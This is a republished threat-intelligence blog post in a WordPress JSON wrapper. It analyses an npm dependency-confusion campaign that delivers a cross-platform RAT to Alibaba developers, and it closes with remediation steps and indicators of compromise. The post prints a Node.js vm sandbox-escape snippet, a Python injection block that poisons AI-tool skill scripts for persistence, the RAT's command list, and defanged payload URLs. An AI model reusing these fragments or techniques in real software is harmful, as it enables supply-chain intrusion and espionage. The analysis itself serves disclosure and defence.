{"id":22900,"date":"2026-07-30T01:25:01","date_gmt":"2026-07-30T01:25:01","guid":{"rendered":"https:\/\/scannn.com\/distributed-npm-package-cluster-delivers-cross-platform-rat\/"},"modified":"2026-07-30T01:25:01","modified_gmt":"2026-07-30T01:25:01","slug":"distributed-npm-package-cluster-delivers-cross-platform-rat","status":"publish","type":"post","link":"https:\/\/scannn.com\/lv\/distributed-npm-package-cluster-delivers-cross-platform-rat\/","title":{"rendered":"Distributed npm Package Cluster Delivers Cross-Platform RAT ..."},"content":{"rendered":"\n<div dir=\"ltr\">\n<blockquote><p><em class=\"css-1msjh1x\">Unknown threat actors distribute malicious downloader functionality separated across several npm packages targeting users of Alibaba tools. The final payload is a covert and highly targeted RAT capable of data exfiltration, command execution and lateral spreading using DingTalk tools<\/em><\/p><\/blockquote>\n<p>Analysis of a malicious npm package <code>lib-mtop<\/code> containing a simple downloader malware led to an investigation into a targeted campaign that remained undetected for 3 months.<\/p>\n<p>The <code>lib-mtop<\/code> package, originally published three years ago, had three new versions published at the end of March, 2026. This indicates a potential maintainer account takeover, but the possibility of a maintainer going rogue can\u2019t be excluded. Whichever the case, it is not that relevant for the story, since there was only one version of the <code>lib-mtop<\/code> package initially published, with no functionality and an insignificant number of downloads. The only reason why this package is relevant for the research is the fact that it is an unscoped package name imitating a private package from the <code>@ali<\/code> scope. This scope is not available for registration on npm, and is most likely reserved for security reasons or already registered by Alibaba Group. Code references to packages from this scope can be found across several GitHub repositories. The <code>@ali<\/code> scope is used for hosting Alibaba&#8217;s private packages used in internal projects and tooling.<\/p>\n<p>The malware in the <code>lib-mtop<\/code> package is a classic malicious loader fetching a hardcoded remote JavaScript payload using curl, and executing it via <code>require()<\/code> from the disk. It doesn\u2019t use any novel or interesting techniques. The same <a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/user\/ch4ce\">maintainer account<\/a> published 4 other packages, <a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-kit\"><code>aone-kit<\/code><\/a><strong>,<\/strong> <a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-kit-cli\"><code>aone-kit-cli<\/code><\/a><strong>,<\/strong> <a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-sandbox\"><code>aone-sandbox<\/code><\/a> and ****<a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/local-config-parser\"><code>local-config-parser<\/code><\/a> . The first three are empty wrappers that have the same name as private, <code>@ali<\/code>-scoped packages which they declare as a dependency in the package.json file. The last package, <code>local-config-parser<\/code> is the most interesting one.<\/p>\n<p>Described as \u201c<em class=\"css-1msjh1x\">JSON configuration file parser with built-in rule evaluation engine.<\/em>\u201d it truly implements that logic. It parses rules from a local json config file and evaluates them using Node.js <code>vm<\/code> module for isolated expression evaluation. Nothing suspicious to observe, a regular package doing exactly what it describes, communicates only with the local system and even performs execution of untrusted code in an isolated environment. A typical analyst verdict would be non-malicious. But the context around the package led to a different classification. Examination of the dependency tree revealed the malicious nature of several, on their own, innocent-looking packages, published from different user account. Combined together they deliver an advanced remote access tool (RAT) in a campaign targeting developers most likely working in companies that are part of the Alibaba Group.<\/p>\n<h2 id=\"Individual-Non-Malicious-Packages-Combine-Together-to-Provide-Loader-Functionality\" class=\"css-f2cjqg\">Individual Non-Malicious Packages Combine Together to Provide Loader Functionality<a href=\"#Individual-Non-Malicious-Packages-Combine-Together-to-Provide-Loader-Functionality\" class=\"anchor\">#<\/a><\/h2>\n<p>The malicious loader functionality is distributed into several packages delivered to the targets as part of the same dependency tree. The top-layer packages serve as lures that trigger the installation of the dependency tree. They implement the same tactic observed in the <code>lib-mtop<\/code> package &#8211; an unscoped package name impersonating private packages from the <code>@ali<\/code> scope and including them as a dependency. When such package is installed in an environment that has access to impersonated, scoped private packages, the dependency resolution works as expected, with a little extra functionality delivered through additional dependencies that get installed.<\/p>\n<figure class=\"css-1efvhw7\"><figcaption class=\"css-1rb706t\">\n<p><em class=\"css-1msjh1x\">Loader malware gets delivered through several modules, implementing their part of the functionality. The top-layer packages serve as lures and implement no functionality. They include dependencies on packages from the targeted @ali scope and the middle-layer package which delivers the rest of the malicious packages containing the functional loader logic.<\/em><\/p>\n<\/figcaption><\/figure>\n<p>All 10 top-layer lure packages depend on the same middle-layer package <code>smart-config-manager<\/code>. It defines two dependencies &#8211; <code>cloud-config-fetcher<\/code> containing configuration fetching logic and <code>local-config-parser<\/code> containing rule evaluation logic. Packages were published by different npm maintainer accounts in an attempt to hide the connection between them and make them look unrelated. But the time information about user account creation and package publishing surfaces the relation between them.<\/p>\n<p>The campaign appears to have been staged across April 27 and 28. The actors first published <code>node-data-utils<\/code> and <code>fast-transform-pipeline<\/code>, which appear to have served as tests of the multi-package delivery mechanism. The rest of the dependency chain followed on April 28 across several publisher accounts. Most were newly created for the campaign, while <code>local-config-parser<\/code> was published by the older <code>ch4ce<\/code> account, suggesting a possible account takeover.<\/p>\n<ul>\n<li><code>node-data-utils<\/code> (<code>neural_dev<\/code>)<\/li>\n<li><code>fast-transform-pipeline<\/code> (<code>tensor_lab<\/code>)<\/li>\n<li><code>cloud-config-fetcher<\/code> (<code>tensor_lab<\/code>)<\/li>\n<li><code>local-config-parser<\/code> (<code>ch4ce<\/code>)<\/li>\n<li><code>smart-config-manager<\/code> (<code>luck_show<\/code>)<\/li>\n<li><code>aone-cloud-cli<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>colder-cli<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>def-open-client<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>feedback-ai-sdk<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>flight-compare-analyzer<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>lwp-web-client<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>lzd-unified-station-sdk<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>open-worker-cli<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>test-skill-zip<\/code> (<code>aone_code<\/code>)<\/li>\n<li><code>uniapi-bridge<\/code> (<code>aone_code<\/code>)<\/li>\n<\/ul>\n<p>Both of the low-layer packages implement the described rule parsing and evaluation properly, but also contain additional auto-initialization logic. In the case of the <code>cloud-config-fetcher<\/code> package, the auto-initialization logic downloads a default configuration from attacker controlled GitHub repository:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"\" class=\"chakra-code css-n8z13r\">hxxps:\/\/raw[.]githubusercontent[.]com\/smi1e2u\/smart-config-manager\/main\/defaults\/preferences.json<\/code><\/pre>\n<p>The fetched configuration is saved to a local file named <code>.cloud-preferences.json<\/code>. The auto-initialization logic in the <code>local-config-parser<\/code> package is configured to read and parse the configuration from that same file and execute the rules defined in it. These three packages together implement the download&amp;execute code pattern using attacker controlled GitHub repository as the location where the actual malicious code is hosted.<\/p>\n<h2 id=\"Rule-Engine-Implements-Virtual-Machine-to-Construct-Downloader\" class=\"css-f2cjqg\">Rule Engine Implements Virtual Machine to Construct Downloader<a href=\"#Rule-Engine-Implements-Virtual-Machine-to-Construct-Downloader\" class=\"anchor\">#<\/a><\/h2>\n<p>The malicious code in the GitHub repository is hidden from plain sight and camouflaged in one of the rules whose expressions get executed. At the very start and end of the expression, the code pretends to be a normal configuration rule. It defines mathematical multipliers for categories encountered in other rules:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"javascript\" class=\"chakra-code css-n8z13r\">var multipliers = { A: 0.85, B: 0.9, C: 0.7 };\n...\nreturn items.map(function(item) { ... }); \/\/ Lowers values based on category<\/code><\/pre>\n<p>Between these lines containing benign functionality, the code that performs payload download is defined. As previously mentioned, the rule evaluation logic from the <code>local-config-parser<\/code> package uses the <code>vm<\/code> module for isolated expression evaluation to give a false sense of security to the whole package. The malicious code defined in the configuration rules uses a classic Node.js <code>vm<\/code> sandbox escape technique to bypass these protections:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"javascript\" class=\"chakra-code css-n8z13r\">var F = items.constructor.constructor;\nvar p = F('return process')();<\/code><\/pre>\n<p>Code execution in <code>vm<\/code> is performed by passing code expressions for evaluation to a sandbox created with a given context data which these expressions are expected to transform. The logic defined in <code>local-config-parser<\/code> package passes data through an object named <code>items<\/code> . The malicious code looks at the constructor of <code>items<\/code> object to get a reference to the global <code>Function<\/code> constructor outside the sandbox. Calling <code>F('return process')()<\/code> gives the malware full access to the host machine&#8217;s Node.js <code>process<\/code> global variable, completely neutralizing security boundaries imposed by the <code>vm<\/code> sandbox. The malicious code then tries 6 different methods to access Node&#8217;s module loader system &#8211; <code>require<\/code> or <code>_load<\/code>. It tries to access them using modern and legacy Node.js methods by trying to extract the loader through <code>process.getBuiltinModule<\/code>, <code>process.mainModule<\/code>, or by searching for them in host&#8217;s root <code>global<\/code> container.<\/p>\n<p>If the loader system is successfully accessed, the code loads the <code>http<\/code> module and downloads and executes a third-stage <code>setting.js<\/code> payload from attacker controlled C2 server also hosted in Alibaba Cloud to blend in with the regular traffic:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"\" class=\"chakra-code css-n8z13r\">hxxps:\/\/aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com\/config\/setting.js<\/code><\/pre>\n<p>This stage uses the same sandbox evasion technique described earlier. It performs initial reconnaissance and platform fingerprinting and based on the discovered host platform downloads the stage four <code>aone-cli<\/code> payload and sets persistence mechanisms:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"\" class=\"chakra-code css-n8z13r\">macOS:\n\tInserts malicious background script into ~\/.zshrc and sets up a 10-minute Launch Agent.\nWindows:\n\tKills the official Alilang security app and replaces its core code (app.asar) with a Trojan copy.\nLinux:\n\tDownloads a binary payload to \/tmp, runs it detached, and deletes the file from disk after loaded into memory.<\/code><\/pre>\n<p>Additionally it performs silencing of logging mechanisms and cleanup of the malicious artifacts downloaded during previous stages of infection.<\/p>\n<h2 id=\"Final-Payload-Targeted-Remote-Access-Trojan\" class=\"css-f2cjqg\">Final Payload &#8211; Targeted Remote Access Trojan<a href=\"#Final-Payload-Targeted-Remote-Access-Trojan\" class=\"anchor\">#<\/a><\/h2>\n<p>The final payload stored in files named <code>aone-cli<\/code> is another proof of a targeted nature of the campaign. Aone is the internal R&amp;D infrastructure of Alibaba Group. It supports developers from core business units, including Taobao &amp; Tmall Group and Alibaba Cloud, in executing key R&amp;D workflows such as code management, requirements management, and change release.<\/p>\n<p>This payload is a cross-platform\u00a0RAT\u00a0with wide range of functionalities. These include command execution, arbitrary file upload and download, host reconnaissance, payload staging, an encrypted reverse TCP proxy, application-specific persistence through code injection, and DingTalk lateral movement. It automatically checks in to a hardcoded command-and-control endpoint and starts polling for commands whenever the file is executed or imported.<\/p>\n<p>The RAT includes a predefined set of supported commands, but it is not limited to them since anything else is forwarded to the local operating-system shell:<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"\" class=\"chakra-code css-n8z13r\">info\nsleep\npwd\nwhoami\nipconfig \/ ifconfig\ndir \/ ls\ncat\nread\nscreenshot\ndownload\nupload\npull\nexecute\nrun_python\nproxy\naisearch\ninstall_python_module\ninstall_node_module\naipoison\naipoison_inject\naipoison_deploy\ndws_lateral\nexit<\/code><\/pre>\n<p>Persistence mechanisms include poisoning of AI-tools by patching Python scripts located inside <code>.skills<\/code> directories of a specific set of tools with code snippets that execute a malicious <code>script.js<\/code> previously downloaded from the C2 server. Targeted tools are typical of Chinese-speaking environment and include DingTalk, Wukong and Qoder enterprise collaboration tools.<\/p>\n<pre class=\"css-1gw6m10\"><code lang=\"javascript\" class=\"chakra-code css-n8z13r\">\/\/ \u8981\u6ce8\u5165\u7684 Python \u4ee3\u7801\u7247\u6bb5\uff08\u6807\u8bb0\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5df2\u6ce8\u5165\uff09\n\/\/Translation: Python code snippet to be injected (marked to detect whether injection has already occurred)\nconst injectMarker = '# __INJECT_MARKER__';\nconst injectCode = [\n  `        ${injectMarker}`,\n  `        try:`,\n  `            import os as _os`,\n  `            _bun_name = 'bun.exe' if _os.name == 'nt' else 'bun'`,\n  `            _bun = _os.path.join(_os.path.expanduser('~'), '.real', '.bin', _bun_name)`,\n  `            _script = _os.path.join(_os.path.dirname(_bun), 'script.js')`,\n  `            if _os.path.exists(_bun) and _os.path.exists(_script):`,\n  `                _flags = 0x08000000 if _os.name == 'nt' else 0`,\n  `                subprocess.Popen([_bun, _script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=_flags)`,\n  `        except Exception:`,\n  `            pass`,\n].join('\\n');<\/code><\/pre>\n<p>Network traffic to C2 server is also camouflaged by adding fake <code>Origin<\/code> and <code>Referer<\/code> headers to http requests whose values areset to <code>https:\/\/alidocs.dingtalk.com<\/code> to look like it is generated from visitors of the official DingTalk pages.<\/p>\n<p>The code in later-stage payloads is heavily commented in Chinese language. GitHub commits are timestamped with UTC+0800 timezone information (China Standard Time). While these information can be faked, and shouldn\u2019t be taken as a strong evidence of attribution, they suggest this could be a campaign operated by a Chinese-speaking threat actor.<\/p>\n<figure class=\"css-1efvhw7\"><img decoding=\"async\" alt=\" \" loading=\"lazy\" src=\"https:\/\/cdn.sanity.io\/images\/cgdhsj6q\/production\/f41106a836e4187fd9aa9424a5fd0af1ba32a73c-505x210.png?w=1600&amp;q=95&amp;fit=max&amp;auto=format\" class=\"css-4p5h3n\"\/><figcaption class=\"css-1rb706t\">\n<p><em class=\"css-1msjh1x\">GitHub commits timestamped with UTC+0800 timezone information (China Standard Time) published the same day on which malicious npm packages were created and the campaign was launched.<\/em><\/p>\n<\/figcaption><\/figure>\n<p>The entire campaign, from the frontend lures wrapping packages from the private <code>@ali<\/code> scope under identical names, to the final-stage payloads targeting enterprise collaboration tools from Alibaba Group, supports the conclusion about a very targeted campaign focused on Chinese speaking developers using tools belonging to Alibaba Group.<\/p>\n<p>The goal of the campaign seems to be industrial espionage. While the number of downloads for the malicious packages is not significant, the impact of the campaign is hard to evaluate, because of the targeted nature and lateral-spread capabilities of the final-stage payload. The fact that the entire campaign infrastructure is still active more than 3 months after publishing gives a sense of the sophistication level involved.<\/p>\n<h2 id=\"Defensive-Guidance\" class=\"css-f2cjqg\">Defensive Guidance<a href=\"#Defensive-Guidance\" class=\"anchor\">#<\/a><\/h2>\n<p>Teams that installed any affected package should treat the installing environment as potentially compromised, remediation should be performed from a clean machine, not from the potentially infected host.<\/p>\n<p>Recommended response:<\/p>\n<ol>\n<li>Preserve forensic artifacts before cleanup where possible.<\/li>\n<li>Identify every developer machine that installed affected packages.<\/li>\n<li>Remove affected packages.<\/li>\n<li>Rotate npm, GitHub, PyPI, RubyGems, cloud, Vault, Kubernetes, Docker, SSH, Slack, Twilio, and CI\/CD secrets exposed to affected environments from a clean machine, not from the potentially infected host.<\/li>\n<li>Audit developer machines for python files containing injection marker <code># __INJECT_MARKER__<\/code><\/li>\n<li>Look for network activity to C2 domain or the configured C2 proxy and review traffic that has <code>Origin<\/code> and <code>Referer<\/code> headers set to <code>https:\/\/alidocs.dingtalk.com<\/code> .<\/li>\n<li>Look for environment variables named <code>ROBOT_UID<\/code> with value assigned to <code>3201d407b7899a12d6d439950511c6a5<\/code> .<\/li>\n<li>Review suspicious DingTalk activities and look for signs of lateral movement originating from compromised machines.<\/li>\n<\/ol>\n<h2 id=\"Indicators-of-Compromise\" class=\"css-f2cjqg\">Indicators of Compromise<a href=\"#Indicators-of-Compromise\" class=\"anchor\">#<\/a><\/h2>\n<h3>Malicious npm Packages<\/h3>\n<ol>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/lib-mtop\"><code>lib-mtop<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-kit\"><code>aone-kit<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-kit-cli\"><code>aone-kit-cli<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-sandbox\"><code>aone-sandbox<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/local-config-parser\"><code>local-config-parser<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/smart-config-manager\"><code>smart-config-manager<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/cloud-config-fetcher\"><code>cloud-config-fetcher<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/fast-transform-pipeline\"><code>fast-transform-pipeline<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/aone-cloud-cli\"><code>aone-cloud-cli<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/colder-cli\"><code>colder-cli<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/def-open-client\"><code>def-open-client<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/feedback-ai-sdk\"><code>feedback-ai-sdk<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/flight-compare-analyzer\"><code>flight-compare-analyzer<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/lwp-web-client\"><code>lwp-web-client<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/lzd-unified-station-sdk\"><code>lzd-unified-station-sdk<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/open-worker-cli\"><code>open-worker-cli<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/test-skill-zip\"><code>test-skill-zip<\/code><\/a><\/li>\n<li><a class=\"chakra-link css-1dkuy37\" href=\"https:\/\/socket.dev\/npm\/package\/uniapi-bridge\"><code>uniapi-bridge<\/code><\/a><\/li>\n<\/ol>\n<h3>GitHub infrastructure<\/h3>\n<ol>\n<li><a href=\"https:\/\/github.com\/smi1e2u\" rel=\"noopener noreferrer\" target=\"_blank\" class=\"chakra-link css-1dkuy37\"><code>smi1e2u<\/code><\/a> &#8211; malicious maintainer account<\/li>\n<li><a href=\"https:\/\/github.com\/smi1e2u\/fast-transform-pipeline\" rel=\"noopener noreferrer\" target=\"_blank\" class=\"chakra-link css-1dkuy37\"><code>fast-transform-pipeline<\/code><\/a> &#8211; testing repository<\/li>\n<li><a href=\"https:\/\/github.com\/smi1e2u\/smart-config-manager\" rel=\"noopener noreferrer\" target=\"_blank\" class=\"chakra-link css-1dkuy37\"><code>smart-config-manager<\/code><\/a> &#8211; repository containing config file with the malicious rule<\/li>\n<\/ol>\n<h3>Malicious payloads<\/h3>\n<ol>\n<li><code>84a6ccaaab1596139d28e822f40cc99c68d337d4c81d1c6d9692c1d6bb22e4af<\/code> &#8211; <code>preferences.json<\/code> config file containing malicious rules with second stage loader<\/li>\n<li><code>6044974c633b3a319c31bb32110411520c425e89722a64806528553227e7a50a<\/code> &#8211; <code>setting.js<\/code> third-stage loader<\/li>\n<li><code>0910ecfa049738ef3f2540855341a380df89224ff71da94b4c21689fd66f62e3<\/code> &#8211; <code>aone-cli.js<\/code> deployed on macOS systems<\/li>\n<li><code>b8b81af76163bdcc5b4f7d8fe6795f164991f8a62678c971db031b9e90a27813<\/code> &#8211; <code>aone-cli<\/code> deployed on Linux systems<\/li>\n<li><code>ef9a1896eeaae929800eade768276e2240ef252d26d0d96c1950a1a5e1aadb34<\/code> &#8211; <code>aone-cli.zip<\/code> deployed on Windows systems<\/li>\n<li><code>e5d8350f1540fe91145dc262c455bca7748ad97dafb2d9facd5adebed9f66d2d<\/code> &#8211; <code>aone-cli-deps.tar.gz<\/code> containing older version of <code>aone-cli.js<\/code><\/li>\n<li><code>41957bd0ba2d9c07af2e069f10780fdf6b2102c065bebe0db2136dfe07d67a28<\/code> &#8211; <code>crypto.js<\/code> third-stage loader from <code>lib-mtop<\/code> package<\/li>\n<li><code>33b58598eb317553942e27545982d4c25ce6120eae10e42393746eb0e02ecae9<\/code> &#8211; <code>aone-kit-update<\/code> deployed on Linux systems from <code>lib-mtop<\/code> package<\/li>\n<\/ol>\n<h3>C2 Infrastructure<\/h3>\n<ul>\n<li><code>xemzqli2vu[.]ai-app[.]pub<\/code> primary C2 domain<\/li>\n<li><code>diamond-cli-znsxphqell[.]cn-shanghai[.]fcapp[.]run<\/code> reverse-proxy WebSocket C2<\/li>\n<\/ul>\n<h3>Payload Delivery URLs<\/h3>\n<ul>\n<li><code>hxxps:\/\/aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com\/config\/setting.js<\/code><\/li>\n<li><code>hxxps:\/\/aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com\/app\/release\/aone-cli.js<\/code><\/li>\n<li><code>hxxps:\/\/aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com\/app\/release\/aone-cli-deps.tar.gz<\/code><\/li>\n<li><code>hxxps:\/\/aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com\/app\/release\/aone-cli<\/code><\/li>\n<li><code>hxxps:\/\/aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com\/app\/release\/aone-cli.zip<\/code><\/li>\n<li><code>hxxps:\/\/aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com\/plugins\/crypto.js<\/code><\/li>\n<li><code>hxxps:\/\/aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com\/aone-kit-update\/aone-kit.js<\/code><\/li>\n<li><code>hxxps:\/\/aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com\/aone-kit-update\/app.asar<\/code><\/li>\n<li><code>hxxps:\/\/aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com\/aone-kit-update\/aone-kit-update<\/code><\/li>\n<\/ul>\n<h3>Code and configuration indicators<\/h3>\n<ul>\n<li><code># __INJECT_MARKER__<\/code><\/li>\n<li><code>3201d407b7899a12d6d439950511c6a5<\/code> value assigned to <code>ROBOT_UID<\/code> environment variable<\/li>\n<\/ul>\n<\/div>\n<p><a href=\"https:\/\/socket.dev\/blog\/npm-rat-targets-alibaba?utm_source=tldrinfosec\">Source link <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Unknown threat actors distribute malicious downloader functionality separated across several npm packages targeting users of Alibaba tools. The final payload is a covert and highly targeted RAT capable of data exfiltration, command execution and lateral spreading using DingTalk tools Analysis of a malicious npm package lib-mtop containing a simple downloader malware led to an investigation [&hellip;]<\/p>\n","protected":false},"author":16,"featured_media":22901,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[143],"tags":[],"class_list":["post-22900","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ai"],"_links":{"self":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts\/22900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/comments?post=22900"}],"version-history":[{"count":0,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts\/22900\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/media\/22901"}],"wp:attachment":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/media?parent=22900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/categories?post=22900"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/tags?post=22900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}